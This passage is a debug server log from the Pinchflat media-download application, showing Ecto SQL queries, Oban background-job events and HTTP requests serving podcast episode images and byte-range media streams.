m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 19:31:35.242 [debug] QUERY OK source="media_items" db=1.7ms idle=245.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 19:31:35.243 [debug] QUERY OK source="tasks" db=0.1ms idle=247.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [765, 3, ~U[2026-07-24 19:31:35Z], ~U[2026-07-24 19:31:35Z]] 19:31:35.243 [info] {"args":{"id":3},"id":762,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":248585,"event":"job:stop","queue_time":442439,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 19:31:35.244 [debug] QUERY OK source="tasks" db=0.2ms idle=1.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 19:31:57.552 [info] {"source":"oban","duration":461,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:32:00.918 [info] {"source":"oban","duration":172,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:32:27.553 [info] {"source":"oban","duration":569,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:32:57.554 [info] {"source":"oban","duration":447,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:33:00.918 [info] {"source":"oban","duration":125,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:33:27.555 [info] {"source":"oban","duration":445,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:33:57.556 [info] {"source":"oban","duration":384,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:34:00.920 [info] {"source":"oban","duration":252,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:34:27.557 [info] {"source":"oban","duration":426,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:34:55.055 [info] GET /api/v1/videos 19:34:55.055 [debug] Processing with PinchflatWeb.Api.V1.VideoController.index/2 Parameters: %{} Pipelines: [:api_v1] 19:34:55.083 [debug] QUERY OK source="media_items" db=27.5ms idle=1687.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 [] 19:34:55.131 [info] Sent 200 in 75ms 19:34:57.558 [info] {"source":"oban","duration":543,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:35:00.921 [info] {"source":"oban","duration":222,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:35:27.559 [info] {"source":"oban","duration":542,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:35:55.466 [info] GET /media/6a4ad32d-7b66-44f4-80a4-82b65dfd312e/episode_image.jpg 19:35:55.466 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.episode_image/2 Parameters: %{"uuid" => "6a4ad32d-7b66-44f4-80a4-82b65dfd312e"} Pipelines: [:maybe_basic_auth] 19:35:55.466 [debug] QUERY OK source="media_items" db=0.1ms idle=1097.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["6a4ad32d-7b66-44f4-80a4-82b65dfd312e"] 19:35:55.493 [info] Sent 200 in 27ms 19:35:55.781 [info] GET /media/d7148368-8a81-43d0-9042-4bae425b8c72/episode_image.jpg 19:35:55.782 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.episode_image/2 Parameters: %{"uuid" => "d7148368-8a81-43d0-9042-4bae425b8c72"} Pipelines: [:maybe_basic_auth] 19:35:55.782 [debug] QUERY OK source="media_items" db=0.1ms idle=531.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["d7148368-8a81-43d0-9042-4bae425b8c72"] 19:35:55.782 [info] Sent 200 in 520µs 19:35:56.067 [info] GET /media/755571a6-37b5-492e-bf09-cd1c4400778c/episode_image.jpg 19:35:56.068 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.episode_image/2 Parameters: %{"uuid" => "755571a6-37b5-492e-bf09-cd1c4400778c"} Pipelines: [:maybe_basic_auth] 19:35:56.068 [debug] QUERY OK source="media_items" db=0.1ms idle=699.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["755571a6-37b5-492e-bf09-cd1c4400778c"] 19:35:56.068 [info] Sent 200 in 491µs 19:35:57.560 [info] {"source":"oban","duration":488,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:36:00.922 [info] {"source":"oban","duration":229,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:36:07.854 [info] GET /media/6a4ad32d-7b66-44f4-80a4-82b65dfd312e/stream 19:36:07.854 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "6a4ad32d-7b66-44f4-80a4-82b65dfd312e"} Pipelines: [:maybe_basic_auth] 19:36:07.854 [debug] QUERY OK source="media_items" db=0.1ms idle=1485.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["6a4ad32d-7b66-44f4-80a4-82b65dfd312e"] 19:36:07.854 [debug] Invalid range request for media item: 6a4ad32d-7b66-44f4-80a4-82b65dfd312e - serving full file 19:36:07.854 [info] Sent 200 in 485µs 19:36:08.004 [info] GET /media/6a4ad32d-7b66-44f4-80a4-82b65dfd312e/stream 19:36:08.004 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "6a4ad32d-7b66-44f4-80a4-82b65dfd312e"} Pipelines: [:maybe_basic_auth] 19:36:08.005 [debug] QUERY OK source="media_items" db=0.1ms idle=742.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["6a4ad32d-7b66-44f4-80a4-82b65dfd312e"] 19:36:08.005 [debug] Invalid range request for media item: 6a4ad32d-7b66-44f4-80a4-82b65dfd312e - serving full file 19:36:08.005 [info] Sent 200 in 664µs 19:36:08.087 [info] GET /media/6a4ad32d-7b66-44f4-80a4-82b65dfd312e/stream 19:36:08.087 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "6a4ad32d-7b66-44f4-80a4-82b65dfd312e"} Pipelines: [:maybe_basic_auth] 19:36:08.087 [debug] QUERY OK source="media_items" db=0.2ms idle=718.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["6a4ad32d-7b66-44f4-80a4-82b65dfd312e"] 19:36:08.088 [debug] Streaming media item: 6a4ad32d-7b66-44f4-80a4-82b65dfd312e from 1004414 to 161252887 19:36:08.088 [info] Sent 206 in 657µs 19:36:08.181 [info] GET /media/6a4ad32d-7b66-44f4-80a4-82b65dfd312e/stream 19:36:08.181 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "6a4ad32d-7b66-44f4-80a4-82b65dfd312e"} Pipelines: [:maybe_basic_auth] 19:36:08.181 [debug] QUERY OK source="media_items" db=0.1ms idle=812.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["6a4ad32d-7b66-44f4-80a4-82b65dfd312e"] 19:36:08.181 [debug] Streaming media item: 6a4ad32d-7b66-44f4-80a4-82b65dfd312e from 1232 to 161252887 19:36:08.181 [info] Sent 206 in 563µs 19:36:08.258 [info] GET /media/6a4ad32d-7b66-44f4-80a4-82b65dfd312e/stream 19:36:08.258 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "6a4ad32d-7b66-44f4-80a4-82b65dfd312e"} Pipelines: [:maybe_basic_auth] 19:36:08.259 [debug] QUERY OK source="media_items" db=0.1ms idle=889.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["6a4ad32d-7b66-44f4-80a4-82b65dfd312e"] 19:36:08.259 [debug] Streaming media item: 6a4ad32d-7b66-44f4-80a4-82b65dfd312e from 1236498 to 161252887 19:36:08.259 [info] Sent 206 in 529µs 19:36:15.678 [info] GET /media/6a4ad32d-7b66-44f4-80a4-82b65dfd312e/stream 19:36:15.678 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "6a4ad32d-7b66-44f4-80a4-82b65dfd312e"} Pipelines: [:maybe_basic_auth] 19:36:15.679 [debug] QUERY OK source="media_items" db=0.2ms queue=0.2ms idle=408.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["6a4ad32d-7b66-44f4-80a4-82b65dfd312e"] 19:36:15.679 [debug] Streaming media item: 6a4ad32d-7b66-44f4-80a4-82b65dfd312e from 565996 to 161252887 19:36:15.679 [info] Sent 206 in 855µs 19:36:15.730 [info] GET /media/6a4ad32d-7b66-44f4-80a4-82b65dfd312e/stream 19:36:15.730 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "6a4ad32d-7b66-44f4-80a4-82b65dfd312e"} Pipelines: [:maybe_basic_auth] 19:36:15.730 [debug] QUERY OK source="media_items" db=0.1ms idle=361.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["6a4ad32d-7b66-44f4-80a4-82b65dfd312e"] 19:36:15.731 [debug] Streaming media item: 6a4ad32d-7b66-44f4-80a4-82b65dfd312e from 159904882 to 161252887 19:36:15.731 [info] Sent 206 in 577µs 19:36:27.561 [info] {"source":"oban","duration":528,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:36:44.053 [info] GET /media/6a4ad32d-7b66-44f4-80a4-82b65dfd312e/stream 19:36:44.053 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "6a4ad32d-7b66-44f4-80a4-82b65dfd312e"} Pipelines: [:maybe_basic_auth] 19:36:44.054 [debug] QUERY OK source="media_items" db=0.1ms idle=755.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["6a4ad32d-7b66-44f4-80a4-82b65dfd312e"] 19:36:44.054 [debug] Invalid range request for media item: 6a4ad32d-7b66-44f4-80a4-82b65dfd312e - serving full file 19:36:44.054 [info] Sent 200 in 594µs 19:36:44.200 [info] GET /media/6a4ad32d-7b66-44f4-80a4-82b65dfd312e/stream 19:36:44.200 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "6a4ad32d-7b66-44f4-80a4-82b65dfd312e"} Pipelines: [:maybe_basic_auth] 19:36:44.200 [debug] QUERY OK source="media_items" db=0.1ms idle=831.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["6a4ad32d-7b66-44f4-80a4-82b65dfd312e"] 19:36:44.200 [debug] Invalid range request for media item: 6a4ad32d-7b66-44f4-80a4-82b65dfd312e - serving full file 19:36:44.200 [info] Sent 200 in 599µs 19:36:44.272 [info] GET /media/6a4ad32d-7b66-44f4-80a4-82b65dfd312e/stream 19:36:44.272 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "6a4ad32d-7b66-44f4-80a4-82b65dfd312e"} Pipelines: [:maybe_basic_auth] 19:36:44.272 [debug] QUERY OK source="media_items" db=0.1ms idle=903.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["6a4ad32d-7b66-44f4-80a4-82b65dfd312e"] 19:36:44.273 [debug] Streaming media item: 6a4ad32d-7b66-44f4-80a4-82b65dfd312e from 1004414 to 161252887 19:36:44.273 [info] Sent 206 in 522µs 19:36:44.363 [info] GET /media/6a4ad32d-7b66-44f4-80a4-82b65dfd312e/stream 19:36:44.363 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "6a4ad32d-7b66-44f4-80a4-82b65dfd312e"} Pipelines: [:maybe_basic_auth] 19:36:44.363 [debug] QUERY OK source="media_items" db=0.1ms idle=994.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["6a4ad32d-7b66-44f4-80a4-82b65dfd312e"] 19:36:44.364 [debug] Streaming media item: 6a4ad32d-7b66-44f4-80a4-82b65dfd312e from 1232 to 161252887 19:36:44.364 [info] Sent 206 in 650µs 19:36:44.422 [info] GET /media/6a4ad32d-7b66-44f4-80a4-82b65dfd312e/stream 19:36:44.422 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "6a4ad32d-7b66-44f4-80a4-82b65dfd312e"} Pipelines: [:maybe_basic_auth] 19:36:44.422 [debug] QUERY OK source="media_items" db=0.1ms idle=368.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["6a4ad32d-7b66-44f4-80a4-82b65dfd312e"] 19:36:44.423 [debug] Streaming media item: 6a4ad32d-7b66-44f4-80a4-82b65dfd312e from 1236498 to 161252887 19:36:44.423 [info] Sent 206 in 613µs 19:36:54.667 [info] GET /media/6a4ad32d-7b66-44f4-80a4-82b65dfd312e/stream 19:36:54.667 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "6a4ad32d-7b66-44f4-80a4-82b65dfd312e"} Pipelines: [:maybe_basic_auth] 19:36:54.667 [debug] QUERY OK source="media_items" db=0.1ms idle=1298.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["6a4ad32d-7b66-44f4-80a4-82b65dfd312e"] 19:36:54.667 [debug] Streaming media item: 6a4ad32d-7b66-44f4-80a4-82b65dfd312e from 565996 to 161252887 19:36:54.667 [info] Sent 206 in 465µs 19:36:54.727 [info] GET /media/6a4ad32d-7b66-44f4-80a4-82b65dfd312e/stream 19:36:54.727 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "6a4ad32d-7b66-44f4-80a4-82b65dfd312e"} Pipelines: [:maybe_basic_auth] 19:36:54.727 [debug] QUERY OK source="media_items" db=0.1ms idle=1358.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["6a4ad32d-7b66-44f4-80a4-82b65dfd312e"] 19:36:54.727 [debug] Streaming media item: 6a4ad32d-7b66-44f4-80a4-82b65dfd312e from 159904882 to 161252887 19:36:54.727 [info] Sent 206 in 539µs 19:36:57.562 [info] {"source":"oban","duration":423,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:37:00.923 [info] {"source":"oban","duration":256,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:37:05.893 [info] GET /media/6a4ad32d-7b66-44f4-80a4-82b65dfd312e/stream 19:37:05.893 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "6a4ad32d-7b66-44f4-80a4-82b65dfd312e"} Pipelines: [:maybe_basic_auth] 19:37:05.893 [debug] QUERY OK source="media_items" db=0.1ms idle=1524.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["6a4ad32d-7b66-44f4-80a4-82b65dfd312e"] 19:37:05.893 [debug] Invalid range request for media item: 6a4ad32d-7b66-44f4-80a4-82b65dfd312e - serving full file 19:37:05.893 [info] Sent 200 in 446µs 19:37:06.032 [info] GET /media/6a4ad32d-7b66-44f4-80a4-82b65dfd312e/stream 19:37:06.032 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "6a4ad32d-7b66-44f4-80a4-82b65dfd312e"} Pipelines: [:maybe_basic_auth] 19:37:06.032 [debug] QUERY OK source="media_items" db=0.1ms idle=1663.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["6a4ad32d-7b66-44f4-80a4-82b65dfd312e"] 19:37:06.032 [debug] Invalid range request for media item: 6a4ad32d-7b66-44f4-80a4-82b65dfd312e - serving full file 19:37:06.032 [info] Sent 200 in 507µs 19:37:06.103 [info] GET /media/6a4ad32d-7b66-44f4-80a4-82b65dfd312e/stream 19:37:06.103 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "6a4ad32d-7b66-44f4-80a4-82b65dfd312e"} Pipelines: [:maybe_basic_auth] 19:37:06.103 [debug] QUERY OK source="media_items" db=0.1ms idle=1734.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) 